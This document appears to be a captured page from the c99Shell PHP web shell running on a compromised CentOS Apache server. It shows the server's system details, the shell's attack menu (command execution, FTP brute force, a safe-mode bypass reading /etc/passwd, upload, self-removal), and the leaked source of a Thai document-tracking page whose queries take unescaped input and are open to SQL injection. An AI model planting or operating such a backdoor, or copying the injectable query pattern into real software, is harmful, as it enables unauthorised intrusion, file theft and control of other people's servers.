!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/   drwxr-xr-x
Free 51.23 GB of 127.8 GB (40.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     BookDetail.php (6.64 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

include("./include/FunctionDB.php");
include(
"./include/Function.php");

ConnectDB();

$sql " Select * From bookmant_tb Where code='$code' ";
$result mysql_query($sql) or die(" Error").mysql_error();
$rs mysql_fetch_array($result);

?>
<html>
<head>
<title>¢éÍÁÙÅ</title>
<link href="./css/default.css" rel="stylesheet" type="text/css" />
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />

<body>
<table width="600" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td height="10"></td>
  </tr>
</table>
<table width="600" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <th align="center" scope="col"><form name="form1" method="post" action="">
      <fieldset>
      <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#eeeeee"  style="border:0px solid gray"size="12">
        <tr bgcolor="#6699CC">
          <td height="5" colspan="3" bgcolor="#FFFFFF"></td>
        </tr>
        <tr bgcolor="#6699CC">
          <td height="26" colspan="3" align="center" bgcolor="#F0F0F0" class="PATRON">ÃÒÂÅÐàÍÕ´¢éÍÁÙÅ˹ѧÊ×ÍÃѺ-Ê觠»Õ</td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td width="170" height="20" align="right"  bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="style3"><font size="2" face="Tahoma">ª¹Ô´¢Í§Ë¹Ñ§Ê×Í</font></span></td>
          <td width="25" align="center" nowrap bordercolor="#DDF8D1" bgcolor="#FFFFFF">:</td>
          <td width="403" align="left" nowrap bordercolor="#DDF8D1" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10"><strong><font size="2" face="Tahoma">
            <?php
            
echo"$rs[Book_code] ";
      
?></font></strong></td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td height="20" align="right"  bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font size="2" face="Tahoma">àÅ¢··ÐàºÕ¹ÃѺ</font></td>
          <td align="center" nowrap bordercolor="#DDF8D1" bgcolor="#FFFFFF">:</td>
          <td align="left" nowrap bordercolor="#DDF8D1" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10"><strong><font size="2" face="Tahoma">
            <?php echo "$rs[No]"?></font></strong></td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td height="20" align="right"  bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font size="2" face="Tahoma">Çѹ·Õè</font></td>
          <td align="center" nowrap bordercolor="#DDF8D1" bgcolor="#FFFFFF">:</td>
          <td align="left" nowrap bordercolor="#DDF8D1" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10"><font color="#003366" size="2" face="Tahoma">
              <?php 
              $sday 
$rs['Date_buy'];
              
$yearthai explode("-",$sday);
              
$day intval($yearthai[2]);
              
$month =  intval($yearthai[1]);
              
$year intval($yearthai[0]);     
              echo 
"$day"."/"."$month"."/"."$year";
              
?></font></td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td height="20" align="right"  bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font size="2" face="Tahoma">àÅ¢·Õè˹ѧÊ×Í</font></td>
          <td align="center" nowrap bordercolor="#DDF8D1" bgcolor="#FFFFFF">:</td>
          <td align="left" nowrap bordercolor="#DDF8D1" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10"><font size="2" face="Tahoma">
              <?php echo "$rs[No_in]"?></font></td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td height="20" align="right"  bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font size="2" face="Tahoma">àÃ×èͧ</font></td>
          <td align="center"  bordercolor="#DDF8D1" bgcolor="#FFFFFF">:</td>
          <td align="left" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10" ><font size="2" face="Tahoma"> <?php echo nl2br($rs[Status]); ?></font></td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td height="20" align="right"  bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font size="2" face="Tahoma">ª×èͼÙéÃѺ - Êè§Ë¹Ñ§Ê×Í</font></td>
          <td width="24" align="center"  bordercolor="#DDF8D1" bgcolor="#FFFFFF">:</td>
          <td align="left"  bordercolor="#DDF8D1" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10"><font size="2" face="Tahoma">
          <?php
              $Teacher_code 
$rs["Teacher_code"];
              
$sql "Select * From personal_tb Where Teacher_code='$Teacher_code'";
              
$result1 mysql_query($sql) or die("Error".mysql_error());
              
$rss mysql_fetch_array($result1);
                  echo 
"$rss[Teacher_name] $rss[Teacher_lastname]";
          
?></font></td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td height="20" align="right" bgcolor="#FFFFFF" ><font size="2" face="Tahoma">ÀÒ¤ / ½èÒ </font></td>
          <td align="center"  bordercolor="#DDF8D1" bgcolor="#FFFFFF">:</td>
          <td align="left"  bordercolor="#DDF8D1" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10"><font size="2" face="Tahoma">
            <?php
              $Faculty_code 
=  $rs["Faculty_code"];
              
$sql "Select * From faculty_tb Where Faculty_code='$Faculty_code'";
              
$result1 mysql_query($sql) or die("Error".mysql_error());
              
$rss mysql_fetch_array($result1);
                  echo 
"$rss[Faculty_name] ";
            
?></font></td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td height="20" align="right" bgcolor="#FFFFFF" ><font size="2" face="Tahoma">µéͧ¡ÒÃá¨é§ºØ¤Åҡ÷ء栤¹</font></td>
          <td align="center"  bordercolor="#DDF8D1" bgcolor="#FFFFFF">:</td>
          <td align="left"  bordercolor="#DDF8D1" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10"><font size="2" face="Tahoma"><?php echo $rs['Statistic']; ?></font></td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td height="20" align="right"  bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font size="2" face="Tahoma">¨Ò¡Ë¹èǧҹ</font></td>
          <td align="center"  bordercolor="#DDF8D1" bgcolor="#FFFFFF">:</td>
          <td align="left"  bordercolor="#DDF8D1" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10"><font size="2" face="Tahoma"><?php echo $rs['Store_1']; ?></font></td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td height="29" align="right" nowrap bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font size="2" face="Tahoma">ËÁÒÂà˵Ø</font></td>
          <td align="center" bgcolor="#FFFFFF" >:</td>
          <td align="left" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10" ><font size="2" face="Tahoma"><?php echo nl2br($rs['Description']); ?></font></td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td height="24" colspan="3" bgcolor="#FFFFFF">&nbsp;</td>
        </tr>
      </table>
      </fieldset>
        <br>
        <input type="button" name="Submit" value="»Ô´Ë¹éÒµèÒ§" onClick="javascript:parent.close();" />
    </form></th>
  </tr>
</table>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0131 ]--